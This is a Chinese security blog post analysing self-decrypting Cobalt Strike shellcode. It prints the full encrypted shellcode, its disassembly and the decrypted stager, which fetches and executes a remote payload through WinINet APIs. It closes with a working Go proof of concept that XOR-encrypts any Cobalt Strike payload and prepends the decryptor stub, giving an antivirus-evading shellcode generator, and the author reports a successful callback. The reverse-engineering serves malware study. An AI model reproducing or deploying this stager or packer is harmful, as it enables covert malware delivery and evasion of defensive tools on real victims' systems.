一段自解密 Shellcode 的逆向分析

admin 2023年5月15日18:01:33评论79 views字数 8743阅读29分8秒阅读模式

1. 序言

先说下为什么会有这篇文章。前段时间在B站上看到一个 CS 二开的视频(该视频已下架),里面的一个功能吸引了我的注意(当时还比较小白),生成的 shellcode 是自混淆的,不同于对 shellcode 先进行加密,之后通过加载器进行解密的流程,UP主二开的 CS 生成的 shellcode 具有自解密的能力,加密后的 shellcode 与原本的 shellcode 看起来完全不同,但是加载后能够正常执行,我就好奇去问了UP主实现的思路,自然是被丑拒了。为了搞清楚他的方法,在多次观察他的视频后我发现,UP主在录制视频时将其中一个完整的 shellcode 录进了视频中,于是我把视频中的 shellcode 逐字节手敲出来,遂有了这次逆向分析。

2. shellcode

4C 8D 1D 3D 00 00 00 45 33 C9 4D 8D 43 0D 4D 8B
D0 B8 AB AA AA AA 41 F7 E1 41 8B C1 41 FF C1 C1
EA 03 8D 0C 52 C1 E1 02 2B C1 42 8A 44 18 01 41
30 02 49 FF C2 41 81 F9 A0 02 00 00 72 D3 49 FF
E0 CC CC CC C2 D6 C3 9B 9F 4A B0 1D 4E DB 75 6B
46 9E 48 5F D7 C3 E8 0D 06 52 05 73 0E 5F BB BB
CA 0B E4 5C 1B 9A 23 2A 11 9E 4E F3 3E 02 31 F1
FE DB 75 6B 03 E5 2E 5C DA 9D FB 78 3C B5 31 E3
2B 35 87 13 F2 99 F4 95 23 F4 31 E3 2B C1 87 13
F2 B9 77 58 95 BE 19 58 74 11 86 44 B1 2E DC 71
89 9E C2 3C 2F B8 AA 5C DA F1 DE 78 3A F5 B2 2E
F9 B2 AF F7 9F 8D F5 DA 02 B4 14 0F 81 93 08 D7
F6 28 C2 DA 0B 14 14 19 3F 97 04 DE 80 03 DE 69
2B 1C 30 48 34 B8 A6 EF 58 0F 97 4F 2B BA 11 AC
03 FD 85 F2 F3 2F 77 58 49 92 1B 1F 23 11 86 90
ED 24 D5 69 89 9E 7A 24 36 B3 AD 5C DA 59 E5 6F
22 9A B2 2E B1 9F AD EF FA 8D F5 E6 3C B5 10 1F
81 93 3C D4 EF 2F DE 7B 89 9E 76 2A 46 11 86 7C
C9 23 C2 69 89 9E 9E 1E 27 BA 82 5C DA A5 DC 71
21 B8 10 23 CD D2 E6 FB 9F 4A B0 55 C5 93 6D 27
CD 97 E3 70 8D 03 3B 5D 1E BD 31 52 2E CE CC 1F
D2 4B B0 1D 03 50 75 26 C3 16 B6 72 D3 C1 F5 7A
07 B8 35 57 07 5D 16 DD 14 C6 B0 95 4E DB 75 26
45 1E 82 10 D6 6A F9 1E 86 9E 4C 02 5E A0 EB 10
9E 08 30 21 4E 9C 00 78 04 56 BF 9B 92 39 C5 16
08 E3 19 6B 48 D9 47 94 9E 4A B0 E2 8C 93 F6 AA
42 97 F8 CA 87 38 68 55 C5 AE 12 23 CB 83 04 D2
14 82 4F CB 06 50 AD 23 CB 9B 14 64 4C 02 3D 50
F9 93 FE 93 B9 05 8B 16 CA BD F8 96 86 93 FE B3
B9 00 8B 16 CA 4D F8 96 85 97 FE 93 B9 00 8B 16
CA 55 F8 96 85 97 FE 8B B9 00 8B 16 CA AD F8 96
81 97 FE 9B B9 00 7C 9B 9F 5A B0 5C F7 9B 75 6B
46 5D 14 DA 27 4A 80 1D 4E E8 BC 94 96 9A 4E 96
2A 4A B0 1D 06 50 AD 2A CC 87 C2 DE 15 8F 34 CF
3A C2 3C E0 8B 56 31 84 DE B4 70 95 5A DA 34 64
F0 1E 81 11 CB 43 B1 99 9C AE 9F 2E 75 1F 87 12
F3 6E 90 58 7D 1B 46 B9 75 1F 82 64 48 02 3B D5
02 52 19 4F 6E 93 F0 52 58 0E 94 3D 4E 6F 75 EB
03 E5 03 D3 14 99 F1 E2 9A 93 F0 AB 32 C4 8F 16
D2 2D F4 96 89 93 FE B8 0E 5D 0B DA 60 9C 4F CE
02 56 E9 4F F6 D6 C3 9B D6 C1 EB 25 07 50 06 2B
0F 5D B8 D3 D6 C1 53 5C 11 9A 2B 2A 1B 97 9F C6
5C 07 3B 5D 6E 32 C3 95 B9 29 82 10 DE 6E F9 1E
8E 50 BF 64 F1 C2 8B DA 14 03 AC 54 4D 13 FE 5F
D7 9F C0 6B 76 A8 4E E2 B1 19 02 00 2D B9 E6 AB
AF 64 9F 2C 63 F5 5B 5A 6C FC F2 B6 BA 6D 9F 3A
60 EB 01 1C 3E A8 AF EE E8 32 CB 63 29 B2 19 1C
46                                             


3. 逆向分析

为了对这段 shellcode 进行逆向分析,先使用一个简单的 shellcode 加载器加载这段 shellcode,然后直接拖到 x64dbg 即可,之后定位到 shellcode 的位置,开始分析。一段自解密 Shellcode 的逆向分析shellcode 首先使用 lea 指令将一个地址赋值给了 r11 寄存器,之后对 r9 低位清零:

0000017B1B5C0000 | 4C:8D1D 3D000000     | lea r11,qword ptr ds:[17B1B5C0044]  |
0000017B1B5C0007 | 45:33C9              | xor r9d,r9d                         |

之后 shellcode 使用 lea 指令将刚才的地址偏移 0xD 的地址赋值给了 r8,后又赋值给 r10 寄存器:

0000017B1B5C000A | 4D:8D43 0D           | lea r8,qword ptr ds:[r11+D]         |
0000017B1B5C000E | 4D:8BD0              | mov r10,r8                          |

在内存窗口中看一下这段地址之间的内容,其中第一个机器码是 C2 ,和前面的三个 CC 指令应该是用来反调试的,对加解密没有具体作用,而之后的12个字节经过后面的分析会发现就是这段 shellcode 的密钥:一段自解密 Shellcode 的逆向分析接下来就是解密程序:一段自解密 Shellcode 的逆向分析其中 r10 寄存器中的值是在前面由 r8 寄存器传递的,而在解密程序中,r10 寄存器是 payload 的地址,由此可知 r8 寄存器实际保存的就是 payload 的地址,此处为 0x0000017B1B5C0051,通过内存窗口查看下该地址,发现密钥结束的地址就是加密的 payload 开始的地址:一段自解密 Shellcode 的逆向分析通过分析之前的解密程序还发现 payload 的大小为 672 字节,发现密钥结束后的内容刚好是 672 字节:一段自解密 Shellcode 的逆向分析解密得到真实 payload(该 payload 为UP主自写的 payload,并非 CS 的原生 payload):

0000017B1B5C0051 48 8B C4 48 89 58 10 48 89 70 18 48 89 78 20 55 H.ÄH.X.H.p.H.x U 
0000017B1B5C0061 41 54 41 55 41 56 41 57 48 8D 68 A1 48 81 EC B0 ATAUAVAWH.h¡H.ì° 
0000017B1B5C0071 00 00 00 45 33 ED C7 45 D7 4B 65 72 6E 44 88 6D ...E3íÇE×KernD.m 
0000017B1B5C0081 E3 44 88 6D D3 44 88 6D 2F 44 88 6D 17 44 88 6D ãD.mÓD.m/D.m.D.m 
0000017B1B5C0091 F3 C7 45 DB 65 6C 33 32 C7 45 DF 2E 64 6C 6C C7 óÇEÛel32ÇEß.dllÇ 
0000017B1B5C00A1 45 B7 57 69 6E 69 C7 45 BB 6E 65 74 2E C7 45 BF E·WiniÇE»net.ÇE¿ 
0000017B1B5C00B1 64 6C 6C 00 C7 45 C7 4C 6F 61 64 C7 45 CB 4C 69 dll.ÇEÇLoadÇEËLi 
0000017B1B5C00C1 62 72 C7 45 CF 61 72 79 41 C7 45 1F 49 6E 74 65 brÇEÏaryAÇE.Inte 
0000017B1B5C00D1 C7 45 23 72 6E 65 74 C7 45 27 52 65 61 64 C7 45 ÇE#rnetÇE'ReadÇE 
0000017B1B5C00E1 2B 46 69 6C 65 C7 45 07 49 6E 74 65 C7 45 0B 72 +FileÇE.InteÇE.r 
0000017B1B5C00F1 6E 65 74 C7 45 0F 4F 70 65 6E C7 45 13 55 72 6C netÇE.OpenÇE.Url 
0000017B1B5C0101 41 C7 45 F7 49 6E 74 65 C7 45 FB 72 6E 65 74 C7 AÇE÷InteÇEûrnetÇ 
0000017B1B5C0111 45 FF 4F 70 65 6E 66 C7 45 03 41 00 C7 45 E7 56 EÿOpenfÇE.A.ÇEçV 
0000017B1B5C0121 69 72 74 C7 45 EB 75 61 6C 41 C7 45 EF 6C 6C 6F irtÇEëualAÇEïllo 
0000017B1B5C0131 63 65 48 8B 04 25 60 00 00 00 48 8B 48 18 4C 8B ceH..%`...H.H.L. 
0000017B1B5C0141 41 20 EB 12 49 8B 40 50 66 44 39 68 18 0F 84 4D A ë[email protected] 
0000017B1B5C0151 01 00 00 4D 8B 00 4D 85 C0 75 E9 4C 8B 45 67 49 ...M..M.ÀuéL.EgI 
0000017B1B5C0161 63 40 3C 41 8B D5 46 8B 8C 00 88 00 00 00 4D 03 c@<A.ÕF.......M. 
0000017B1B5C0171 C8 41 8B 49 20 49 03 C8 45 39 69 18 76 28 8B 01 ÈA.I I.ÈE9i.v(.. 
0000017B1B5C0181 42 80 3C 00 47 75 13 42 80 7C 00 0D 73 75 0B 46 B.<.Gu.B.|..su.F 
0000017B1B5C0191 38 6C 00 0E 0F 84 0F 01 00 00 FF C2 48 83 C1 04 8l........ÿÂH.Á. 
0000017B1B5C01A1 41 3B 51 18 72 D8 48 8B 75 67 48 8D 55 C7 49 8B A;Q.rØH.ugH.UÇI. 
0000017B1B5C01B1 C8 FF D6 48 8B D8 48 8D 4D D7 FF D3 48 8D 4D B7 ÈÿÖH.ØH.M×ÿÓH.M· 
0000017B1B5C01C1 48 8B F8 FF D3 48 8D 55 F7 48 8B C8 48 8B D8 FF H.øÿÓH.U÷H.ÈH.Øÿ 
0000017B1B5C01D1 D6 48 8D 55 07 48 8B CB 4C 8B F8 FF D6 48 8D 55 ÖH.U.H.ËL.øÿÖH.U 
0000017B1B5C01E1 1F 48 8B CB 4C 8B E0 FF D6 48 8D 55 E7 48 8B CF .H.ËL.àÿÖH.UçH.Ï 
0000017B1B5C01F1 4C 8B F0 FF D6 BF 00 00 10 00 41 B9 40 00 00 00 L.ðÿÖ¿....A¹@... 
0000017B1B5C0201 8B D7 41 B8 00 30 00 00 33 C9 FF D0 4C 8D 0D B5 .×A¸.0..3ÉÿÐL..µ 
0000017B1B5C0211 00 00 00 48 8B D8 41 8A 51 01 45 8A C5 84 D2 74 ...H.ØA.Q.E.Å.Òt 
0000017B1B5C0221 19 49 8B CD 80 F2 1F 41 FE C0 88 14 01 41 0F B6 .I.Í.ò.AþÀ...A.¶ 
0000017B1B5C0231 C8 42 8A 54 09 01 84 D2 75 EA 45 33 C9 44 89 6C ÈB.T...ÒuêE3ÉD.l 
0000017B1B5C0241 24 20 45 33 C0 33 D2 33 C9 41 FF D7 48 8B C8 4C $ E3À3Ò3ÉAÿ×H.ÈL 
0000017B1B5C0251 89 6C 24 28 45 33 C9 C7 44 24 20 00 B4 00 80 45 .l$(E3ÉÇD$ .´..E 
0000017B1B5C0261 33 C0 48 8B D3 41 FF D4 48 85 C0 74 12 4C 8D 4D 3ÀH.ÓAÿÔH.Àt.L.M 
0000017B1B5C0271 67 44 8B C7 48 8B D3 48 8B C8 41 FF D6 FF D3 4C gD.ÇH.ÓH.ÈAÿÖÿÓL 
0000017B1B5C0281 8D 9C 24 B0 00 00 00 49 8B 5B 38 49 8B 73 40 49 ..$°...I.[8I.s@I 
0000017B1B5C0291 8B 7B 48 49 8B E3 41 5F 41 5E 41 5D 41 5C 5D C3 .{HI.ãA_A^A]A]à
0000017B1B5C02A1 4D 8B 40 20 E9 B6 FE FF FF 41 8B 41 24 49 03 C0 M.@ é¶þÿÿA.A$I.À 
0000017B1B5C02B1 8B CA 0F B7 14 48 41 8B 49 1C 49 03 C8 8B 34 91 .Ê.·.HA.I.I.È.4. 
0000017B1B5C02C1 49 03 F0 E9 E2 FE FF FF C2 77 6B 6B 6F 25 30 30 I.ðéâþÿÿÂwkko%00 
0000017B1B5C02D1 2E 2F 31 2D 2E 2E 31 2A 2A 31 2D 25 27 2F 27 2E ./1-..1**1-%'/'
0000017B1B5C02E1 30 74 77 78 7E 6C 75 77 78 7B 7E 67 69 6C 77 26 0twx~luwx{~gilw& 
0000017B1B5C02F1 EB 01 1C 3E A8 AF 00 00 00 00 00 00 00 00 00 00 ë..>¨¯.......... 

解密后使用 jmp 指令跳转执行:

0000017B1B5C003E | 49:FFE0             | jmp r8                           |

之后的部分即是实现 CS Stager 功能的 payload 部分,可以参考我之前的 《CS 4.7 Stager 逆向及 Shellcode 重写》的 shellcode 分析部分,这里不再详细分析。

4. PoC

通过上面的分析,我们可以将这段 shellcode 拆解成解密器、密钥、加密的 payload 三个部分,知道了原理,我们就可以自己实现一个脚本来生成这样一段 shellcode 了,这里我直接使用 CS 的原生 payload 作为被加密的内容,所以只需要实现其中的解密器和密钥即可,PoC如下:

package main

import (
 "bytes"
 "encoding/binary"
 "io/ioutil"
 "math/rand"
 "time"
)

// 生成随机密钥
func GenRandomKey() []byte {
 rand.Seed(time.Now().UnixNano())
 key := make([]byte12)
 rand.Read(key)
 return key
}

// 使用密钥对payload进行加密
func XorEncrypt(payload []byte, key []byte) []byte {
 var xored_payload []byte
 for i := 0; i < len(payload); i++ {
  xored_payload = append(xored_payload, payload[i]^key[i%len(key)])
 }
 return xored_payload
}

// 生成解密器
func MakeDecryptor(payload []byte, key []byte) []byte {
 prefix := []byte{0x4C0x8D0x1D0x3D0x000x000x000x450x330xC90x4D0x8D0x430x0D0x4D0x8B0xD00xB80xAB0xAA0xAA0xAA0x410xF70xE10x410x8B0xC10x410xFF0xC10xC10xEA0x030x8D0x0C0x520xC10xE10x020x2B0xC10x420x8A0x440x180x010x410x300x020x490xFF0xC20x410x810xF9}
 suffix := []byte{0x720xD30x490xFF0xE00xCC0xCC0xCC0xC2}
 size := int32(len(payload))
 bytesBuffer := bytes.NewBuffer([]byte{})
 binary.Write(bytesBuffer, binary.LittleEndian, size)
 decryptor := append(append(prefix, bytesBuffer.Bytes()...), suffix...)
 return decryptor
}

func main() {
 key := GenRandomKey()
 payload, _ := ioutil.ReadFile("payload.bin")
 xored_payload := XorEncrypt(payload, key)
 decryptor := MakeDecryptor(payload, key)
 shellcode := append(append(decryptor, key...), xored_payload...)
 _ = ioutil.WriteFile("shellcode.bin", shellcode, 0666)
}

测试上线:一段自解密 Shellcode 的逆向分析

vx


一段自解密 Shellcode 的逆向分析

原文始发于微信公众号(红蓝公鸡队):一段自解密 Shellcode 的逆向分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月15日18:01:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一段自解密 Shellcode 的逆向分析https://cn-sec.com/archives/1734090.html

发表评论

匿名网友 填写信息